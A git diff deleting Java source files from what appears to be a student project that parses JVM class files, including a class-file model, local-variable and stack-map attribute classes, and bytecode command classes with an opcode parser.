-package com.github.HarryHook.coding2017.jvm.attr;
-
-public class LocalVariableItem {
-    private int startPC;
-    private int length;
-    private int nameIndex;
-    private int descIndex;
-    private int index;
-
-    public int getStartPC() {
-	return startPC;
-    }
-
-    public void setStartPC(int startPC) {
-	this.startPC = startPC;
-    }
-
-    public int getLength() {
-	return length;
-    }
-
-    public void setLength(int length) {
-	this.length = length;
-    }
-
-    public int getNameIndex() {
-	return nameIndex;
-    }
-
-    public void setNameIndex(int nameIndex) {
-	this.nameIndex = nameIndex;
-    }
-
-    public int getDescIndex() {
-	return descIndex;
-    }
-
-    public void setDescIndex(int descIndex) {
-	this.descIndex = descIndex;
-    }
-
-    public int getIndex() {
-	return index;
-    }
-
-    public void setIndex(int index) {
-	this.index = index;
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java
deleted file mode 100644
index 106ae86460..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/LocalVariableTable.java
+++ /dev/null
@@ -1,51 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.attr;
-
-import java.util.ArrayList;
-import java.util.List;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
-
-import sun.util.logging.resources.logging;
-
-public class LocalVariableTable extends AttributeInfo {
-
-    List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
-
-    public LocalVariableTable(int attrNameIndex, int attrLen) {
-	super(attrNameIndex, attrLen);
-    }
-
-    public static LocalVariableTable parse(ByteCodeIterator iter) {
-	int attrNameIndex = iter.nextU2ToInt();
-	int attrlength = iter.nextU4ToInt();
-
-	LocalVariableTable table = new LocalVariableTable(attrNameIndex, attrlength);
-	int itemLength = iter.nextU2ToInt();
-	for (int i = 1; i <= itemLength; i++) {
-	    LocalVariableItem item = new LocalVariableItem();
-	    item.setStartPC(iter.nextU2ToInt());
-	    item.setLength(iter.nextU2ToInt());
-	    item.setNameIndex(iter.nextU2ToInt());
-	    item.setDescIndex(iter.nextU2ToInt());
-	    item.setIndex(iter.nextU2ToInt());
-	    table.addLocalVariableItem(item);
-	}
-	return table;
-    }
-
-    private void addLocalVariableItem(LocalVariableItem item) {
-	this.items.add(item);
-    }
-    public String toString(ConstantPool pool){
-	StringBuilder buffer = new StringBuilder();
-	buffer.append("Local Variable Table:\n");
-	for(LocalVariableItem item : items){
-		buffer.append("startPC:"+item.getStartPC()).append(",");
-		buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
-		buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
-		buffer.append("slotIndex:"+ item.getIndex()).append("\n");
-	}
-	buffer.append("\n");
-	return buffer.toString();
-}
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java
deleted file mode 100644
index 745a2fdc70..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/attr/StackMapTable.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.attr;
-
-import com.github.HarryHook.coding2017.jvm.loader.ByteCodeIterator;
-
-public class StackMapTable extends AttributeInfo {
-
-    private String originalCode;
-
-    public StackMapTable(int attrNameIndex, int attrLen) {
-	super(attrNameIndex, attrLen);
-    }
-
-    public static StackMapTable parse(ByteCodeIterator iter) {
-	int index = iter.nextU2ToInt();
-	int len = iter.nextU4ToInt();
-	StackMapTable t = new StackMapTable(index, len);
-
-	// 后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
-	String code = iter.nextUxToHexString(len);
-	t.setOriginalCode(code);
-
-	return t;
-    }
-
-    private void setOriginalCode(String code) {
-	this.originalCode = code;
-
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java
deleted file mode 100644
index fedc174261..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/AccessFlag.java
+++ /dev/null
@@ -1,26 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.clz;
-
-public class AccessFlag {
-    private int flagValue;
-
-    public AccessFlag(int value) {
-	this.flagValue = value;
-    }
-
-    public int getFlagValue() {
-	return flagValue;
-    }
-
-    public void setFlagValue(int flag) {
-	this.flagValue = flag;
-    }
-
-    public boolean isPublicClass() {
-	return (this.flagValue & 0x0001) != 0;
-    }
-
-    public boolean isFinalClass() {
-	return (this.flagValue & 0x0010) != 0;
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
deleted file mode 100644
index 799a40cea7..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassFile.java
+++ /dev/null
@@ -1,133 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.clz;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.field.Field;
-import com.github.HarryHook.coding2017.jvm.method.Method;
-
-public class ClassFile {
-
-    private int minorVersion;
-    private int majorVersion;
-
-    private AccessFlag accessFlag;
-    private ClassIndex clzIndex;
-    private ConstantPool pool;
-    private List<Field> fields = new ArrayList<Field>();
-    private List<Method> methods = new ArrayList<Method>();
-
-    public ClassIndex getClzIndex() {
-	return clzIndex;
-    }
-
-    public void setClzIndex(ClassIndex clzIndex) {
-	this.clzIndex = clzIndex;
-    }
-
-    public AccessFlag getAccessFlag() {
-	return accessFlag;
-    }
-
-    public void setAccessFlag(AccessFlag accessFlag) {
-	this.accessFlag = accessFlag;
-    }
-
-    public ConstantPool getConstantPool() {
-	return pool;
-    }
-
-    public int getMinorVersion() {
-	return minorVersion;
-    }
-
-    public void setMinorVersion(int minorVersion) {
-	this.minorVersion = minorVersion;
-    }
-
-    public int getMajorVersion() {
-	return majorVersion;
-    }
-
-    public void setMajorVersion(int majorVersion) {
-	this.majorVersion = majorVersion;
-    }
-
-    public void setConstantPool(ConstantPool pool) {
-	this.pool = pool;
-    }
-
-    public void setClassIndex(ClassIndex clzIndex) {
-	this.clzIndex = clzIndex;
-    }
-
-    public void print() {
-
-	if (this.accessFlag.isPublicClass()) {
-	    System.out.println("Access flag : public  ");
-	}
-	System.out.println("Class Name:" + getClassName());
-	System.out.println("Super Class Name:" + getSuperClassName());
-
-    }
-
-    public String getClassName() {
-	int thisClassIndex = clzIndex.getThisClassIndex();
-	ClassInfo thisClass = (ClassInfo) this.getConstantPool().getConstantInfo(thisClassIndex);
-	return thisClass.getClassName();
-    }
-
-    public String getSuperClassName() {
-	ClassInfo superClass = (ClassInfo) this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
-	return superClass.getClassName();
-    }
-
-    public void addField(Field f) {
-	fields.add(f);
-    }
-
-    public List<Field> getFields() {
-	return fields;
-    }
-
-    public void addMethod(Method m) {
-	methods.add(m);
-
-    }
-
-    public List<Method> getMethods() {
-	return methods;
-    }
-
-    public Method getMethod(String methodName, String paramAndReturnType) {
-
-	for (Method m : methods) {
-
-	    int nameIndex = m.getNameIndex();
-	    int descriptionIndex = m.getDescriptorIndex();
-
-	    String name = this.getConstantPool().getUTF8String(nameIndex);
-	    String desc = this.getConstantPool().getUTF8String(descriptionIndex);
-	    if (name.equals(methodName) && desc.equals(paramAndReturnType)) {
-		return m;
-	    }
-	}
-	return null;
-    }
-
-    public Method getMainMethod() {
-	for (Method m : methods) {
-	    int nameIndex = m.getNameIndex();
-	    int descIndex = m.getDescriptorIndex();
-	    String name = this.getConstantPool().getUTF8String(nameIndex);
-	    String desc = this.getConstantPool().getUTF8String(descIndex);
-	    if (name.equals("main") && desc.equals("([Ljava/lang/String;)V")) {
-		return m;
-	    }
-	}
-	return null;
-    }
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java
deleted file mode 100644
index 9b6162360d..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/clz/ClassIndex.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.clz;
-
-public class ClassIndex {
-    private int thisClassIndex;
-    private int superClassIndex;
-
-    public int getThisClassIndex() {
-	return thisClassIndex;
-    }
-
-    public void setThisClassIndex(int thisClassIndex) {
-	this.thisClassIndex = thisClassIndex;
-    }
-
-    public int getSuperClassIndex() {
-	return superClassIndex;
-    }
-
-    public void setSuperClassIndex(int superClassIndex) {
-	this.superClassIndex = superClassIndex;
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
deleted file mode 100644
index 6b1c020682..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/BiPushCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-
-public class BiPushCmd extends OneOperandCmd {
-
-	public BiPushCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-	
-		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
-	}
-	
-	
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
deleted file mode 100644
index f5e6705a8a..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/ByteCodeCommand.java
+++ /dev/null
@@ -1,128 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-
-public abstract class ByteCodeCommand {	
-	
-	String opCode;
-	ClassFile clzFile;	
-	private int offset;
-	
-	private static Map<String,String> codeMap = new HashMap<String,String>();
-	
-	static{
-		codeMap.put("01", "aconst_null");
-		
-		codeMap.put("BB", "new");
-		codeMap.put("37", "lstore");
-		codeMap.put("B7", "invokespecial");
-		codeMap.put("B6", "invokevirtual");
-		codeMap.put("B4", "getfield");
-		codeMap.put("B5", "putfield");
-		codeMap.put("B2", "getstatic");
-		
-		codeMap.put("2A", "aload_0");
-		codeMap.put("2B", "aload_1");
-		codeMap.put("2C", "aload_2");
-		
-		codeMap.put("10", "bipush");
-		codeMap.put("15", "iload");
-		codeMap.put("1A", "iload_0");
-		codeMap.put("1B", "iload_1");
-		codeMap.put("1C", "iload_2");
-		codeMap.put("1D", "iload_3");
-		
-		codeMap.put("25", "fload_3");
-		
-		codeMap.put("1E", "lload_0");
-		
-		codeMap.put("24", "fload_2");
-		codeMap.put("4C", "astore_1");
-		
-		codeMap.put("A2", "if_icmp_ge");
-		codeMap.put("A4", "if_icmple");
-		
-		codeMap.put("A7", "goto");
-		
-		codeMap.put("B1", "return");
-		codeMap.put("AC", "ireturn");
-		codeMap.put("AE", "freturn");
-		
-		codeMap.put("03", "iconst_0");
-		codeMap.put("04", "iconst_1");
-		
-		codeMap.put("3C", "istore_1");
-		codeMap.put("3D", "istore_2");
-		
-		codeMap.put("59", "dup");
-		
-		codeMap.put("60", "iadd");
-		codeMap.put("84", "iinc");
-		
-		codeMap.put("12", "ldc");
-	}
-	
-	
-
-	
-
-	protected ByteCodeCommand(ClassFile clzFile, String opCode){
-		this.clzFile = clzFile;
-		this.opCode = opCode;
-	}
-	
-	protected ClassFile getClassFile() {
-		return clzFile;
-	}
-	
-	public int getOffset() {
-		return offset;
-	}
-
-	public void setOffset(int offset) {
-		this.offset = offset;
-	}
-	protected ConstantInfo getConstantInfo(int index){
-		return this.getClassFile().getConstantPool().getConstantInfo(index);
-	}
-	
-	protected ConstantPool getConstantPool(){
-		return this.getClassFile().getConstantPool();
-	}
-	
-	
-	
-	public String getOpCode() {
-		return opCode;
-	}
-
-	public abstract int getLength();
-	
-	
-	
-	
-	public String toString(){
-		
-		StringBuffer buffer = new StringBuffer();
-		buffer.append(this.opCode);
-		
-		return buffer.toString();
-	}
-	public abstract String toString(ConstantPool pool);
-	
-	public String getReadableCodeText(){
-		String txt = codeMap.get(opCode);
-		if(txt == null){
-			return opCode;
-		}
-		return txt;
-	}
-	
-	//public abstract void execute(StackFrame frame,FrameResult result);
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
deleted file mode 100644
index b982fa7aa4..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/CommandParser.java
+++ /dev/null
@@ -1,155 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import java.util.ArrayList;
-import java.util.List;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-
-public class CommandParser {
-
-    public static final String aconst_null = "01";
-    public static final String new_object = "BB";
-    public static final String lstore = "37";
-    public static final String invokespecial = "B7";
-    public static final String invokevirtual = "B6";
-    public static final String getfield = "B4";
-    public static final String putfield = "B5";
-    public static final String getstatic = "B2";
-    public static final String ldc = "12";
-    public static final String dup = "59";
-    public static final String bipush = "10";
-    public static final String aload_0 = "2A";
-    public static final String aload_1 = "2B";
-    public static final String aload_2 = "2C";
-    public static final String iload = "15";
-    public static final String iload_1 = "1B";
-    public static final String iload_2 = "1C";
-    public static final String iload_3 = "1D";
-    public static final String fload_3 = "25";
-
-    public static final String voidreturn = "B1";
-    public static final String ireturn = "AC";
-    public static final String freturn = "AE";
-
-    public static final String astore_1 = "4C";
-    public static final String if_icmp_ge = "A2";
-    public static final String if_icmple = "A4";
-    public static final String goto_no_condition = "A7";
-    public static final String iconst_0 = "03";
-    public static final String iconst_1 = "04";
-    public static final String istore_1 = "3C";
-    public static final String istore_2 = "3D";
-    public static final String iadd = "60";
-    public static final String iinc = "84";
-
-    public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
-
-	if ((codes == null) || (codes.length() == 0) || (codes.length() % 2) != 0) {
-	    throw new RuntimeException("the orignal code is not correct");
-
-	}
-
-	codes = codes.toUpperCase();
-
-	CommandIterator iter = new CommandIterator(codes);
-	List<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
-
-	while (iter.hasNext()) {
-	    String opCode = iter.next2CharAsString();
-
-	    if (new_object.equals(opCode)) {
-		NewObjectCmd cmd = new NewObjectCmd(clzFile, opCode);
-
-		cmd.setOprand1(iter.next2CharAsInt());
-		cmd.setOprand2(iter.next2CharAsInt());
-
-		cmds.add(cmd);
-	    } else if (invokespecial.equals(opCode)) {
-		InvokeSpecialCmd cmd = new InvokeSpecialCmd(clzFile, opCode);
-		cmd.setOprand1(iter.next2CharAsInt());
-		cmd.setOprand2(iter.next2CharAsInt());
-		// System.out.println( cmd.toString(clzFile.getConstPool()));
-		cmds.add(cmd);
-	    } else if (invokevirtual.equals(opCode)) {
-		InvokeVirtualCmd cmd = new InvokeVirtualCmd(clzFile, opCode);
-		cmd.setOprand1(iter.next2CharAsInt());
-		cmd.setOprand2(iter.next2CharAsInt());
-
-		cmds.add(cmd);
-	    } else if (getfield.equals(opCode)) {
-		GetFieldCmd cmd = new GetFieldCmd(clzFile, opCode);
-		cmd.setOprand1(iter.next2CharAsInt());
-		cmd.setOprand2(iter.next2CharAsInt());
-		cmds.add(cmd);
-	    } else if (getstatic.equals(opCode)) {
-		GetStaticFieldCmd cmd = new GetStaticFieldCmd(clzFile, opCode);
-		cmd.setOprand1(iter.next2CharAsInt());
-		cmd.setOprand2(iter.next2CharAsInt());
-		cmds.add(cmd);
-	    } else if (putfield.equals(opCode)) {
-		PutFieldCmd cmd = new PutFieldCmd(clzFile, opCode);
-		cmd.setOprand1(iter.next2CharAsInt());
-		cmd.setOprand2(iter.next2CharAsInt());
-		cmds.add(cmd);
-	    } else if (ldc.equals(opCode)) {
-		LdcCmd cmd = new LdcCmd(clzFile, opCode);
-		cmd.setOperand(iter.next2CharAsInt());
-		cmds.add(cmd);
-	    } else if (bipush.equals(opCode)) {
-		BiPushCmd cmd = new BiPushCmd(clzFile, opCode);
-		cmd.setOperand(iter.next2CharAsInt());
-		cmds.add(cmd);
-	    } else if (dup.equals(opCode) || aload_0.equals(opCode) || aload_1.equals(opCode) || aload_2.equals(opCode)
-		    || iload_1.equals(opCode) || iload_2.equals(opCode) || iload_3.equals(opCode)
-		    || fload_3.equals(opCode) || voidreturn.equals(opCode) || astore_1.equals(opCode)) {
-
-		NoOperandCmd cmd = new NoOperandCmd(clzFile, opCode);
-		cmds.add(cmd);
-	    } else {
-		throw new RuntimeException("Sorry, the java instruction " + opCode + " has not been implemented");
-	    }
-
-	}
-
-	calcuateOffset(cmds);
-
-	ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
-	cmds.toArray(result);
-	return result;
-    }
-
-    private static void calcuateOffset(List<ByteCodeCommand> cmds) {
-
-	int offset = 0;
-	for (ByteCodeCommand cmd : cmds) {
-	    cmd.setOffset(offset);
-	    offset += cmd.getLength();
-	}
-
-    }
-
-    private static class CommandIterator {
-	String codes = null;
-	int pos = 0;
-
-	CommandIterator(String codes) {
-	    this.codes = codes;
-	}
-
-	public boolean hasNext() {
-	    return pos < this.codes.length();
-	}
-
-	public String next2CharAsString() {
-	    String result = codes.substring(pos, pos + 2);
-	    pos += 2;
-	    return result;
-	}
-
-	public int next2CharAsInt() {
-	    String s = this.next2CharAsString();
-	    return Integer.valueOf(s, 16).intValue();
-	}
-
-    }
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
deleted file mode 100644
index ec34e7b4a7..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetFieldCmd.java
+++ /dev/null
@@ -1,18 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-public class GetFieldCmd extends TwoOperandCmd {
-
-    public GetFieldCmd(ClassFile clzFile, String opCode) {
-	super(clzFile, opCode);
-    }
-
-    @Override
-    public String toString(ConstantPool pool) {
-
-	return super.getOperandAsField(pool);
-    }
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
deleted file mode 100644
index 1090e17374..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/GetStaticFieldCmd.java
+++ /dev/null
@@ -1,24 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.UTF8Info;
-
-
-public class GetStaticFieldCmd extends TwoOperandCmd {
-
-	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
deleted file mode 100644
index 4afc337f47..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeSpecialCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-
-
-public class InvokeSpecialCmd extends TwoOperandCmd {
-
-	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
deleted file mode 100644
index 6b494dceda..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/InvokeVirtualCmd.java
+++ /dev/null
@@ -1,21 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-public class InvokeVirtualCmd extends TwoOperandCmd {
-
-	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsMethod(pool);
-	}
-
-	
-	
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
deleted file mode 100644
index 073ddd73a9..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/LdcCmd.java
+++ /dev/null
@@ -1,29 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.StringInfo;
-
-public class LdcCmd extends OneOperandCmd {
-
-	public LdcCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-	
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
-		
-		String value = "TBD";
-		if(info instanceof StringInfo){
-			StringInfo strInfo = (StringInfo)info;
-			value = strInfo.toString();
-		}
-		
-		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
-		
-	}
-	
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
deleted file mode 100644
index 9c959e31dd..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NewObjectCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-public class NewObjectCmd extends TwoOperandCmd{
-	
-	public NewObjectCmd(ClassFile clzFile, String opCode){
-		super(clzFile,opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsClassInfo(pool);
-	}
-
-	
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
deleted file mode 100644
index 554eac0690..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/NoOperandCmd.java
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-public class NoOperandCmd extends ByteCodeCommand{
-
-	public NoOperandCmd(ClassFile clzFile, String opCode) {
-		super(clzFile, opCode);
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
-	}
-
-	
-	
-	public  int getLength(){
-		return 1;
-	}
-
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java
deleted file mode 100644
index 77bf40708b..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/OneOperandCmd.java
+++ /dev/null
@@ -1,27 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-
-public abstract class OneOperandCmd extends ByteCodeCommand {
-
-	private int operand;
-	
-	public OneOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-		
-	}
-	public  int getOperand() {
-		
-		return this.operand;
-	}
-
-	public void setOperand(int oprand1) {
-		this.operand = oprand1;
-		
-	}
-	public  int getLength(){
-		return 2;
-	}
-
-	
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
deleted file mode 100644
index f3a197114c..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/PutFieldCmd.java
+++ /dev/null
@@ -1,19 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-
-public class PutFieldCmd extends TwoOperandCmd {
-
-	public PutFieldCmd(ClassFile clzFile,String opCode) {
-		super(clzFile,opCode);		
-	}
-
-	@Override
-	public String toString(ConstantPool pool) {
-		
-		return super.getOperandAsField(pool);
-	}
-
-
-}
\ No newline at end of file
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
deleted file mode 100644
index 13edc86215..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/cmd/TwoOperandCmd.java
+++ /dev/null
@@ -1,67 +0,0 @@
-package com.github.HarryHook.coding2017.jvm.cmd;
-
-import com.github.HarryHook.coding2017.jvm.clz.ClassFile;
-import com.github.HarryHook.coding2017.jvm.constant.ClassInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantInfo;
-import com.github.HarryHook.coding2017.jvm.constant.ConstantPool;
-import com.github.HarryHook.coding2017.jvm.constant.FieldRefInfo;
-import com.github.HarryHook.coding2017.jvm.constant.MethodRefInfo;
-
-public abstract class TwoOperandCmd extends ByteCodeCommand{
-	
-	int oprand1 = -1;
-	int oprand2 = -1;
-	
-	public int getOprand1() {
-		return oprand1;
-	}
-
-	public void setOprand1(int oprand1) {
-		this.oprand1 = oprand1;
-	}
-
-	public void setOprand2(int oprand2) {
-		this.oprand2 = oprand2;
-	}
-
-	public int getOprand2() {
-		return oprand2;
-	}
-	
-	public TwoOperandCmd(ClassFile clzFile,String opCode) {
-		super(clzFile, opCode);
-	}
-
-	public int getIndex(){
-		int oprand1 = this.getOprand1();
-		int oprand2 = this.getOprand2();
-		int index = oprand1 << 8 | oprand2;
-		return index;
-	}
-	
-	protected String getOperandAsClassInfo(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ClassInfo info = (ClassInfo)pool.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" "+ codeTxt +"  "+ info.getClassName();
-	}
-	
-	protected String getOperandAsMethod(ConstantPool pool){
-		int index = getIndex();
-		String codeTxt = getReadableCodeText();
-		ConstantInfo constInfo = this.getConstantInfo(index);
-		MethodRefInfo info = (MethodRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-
-	protected String getOperandAsField(ConstantPool pool){
-		int index = getIndex();
-		
-		String codeTxt = getReadableCodeText();
-		FieldRefInfo info = (FieldRefInfo)this.getConstantInfo(index);
-		return this.getOffset()+":"+this.getOpCode()+" " + codeTxt +"  "+ info.toString();
-	}
-	public  int getLength(){
-		return 3;
-	}
-}
diff --git a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java b/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
deleted file mode 100644
index e4822e2bbb..0000000000
--- a/group02/727171008/src/com/github/HarryHook/coding2017/jvm/constant/ClassInfo.java
+++ /dev/null
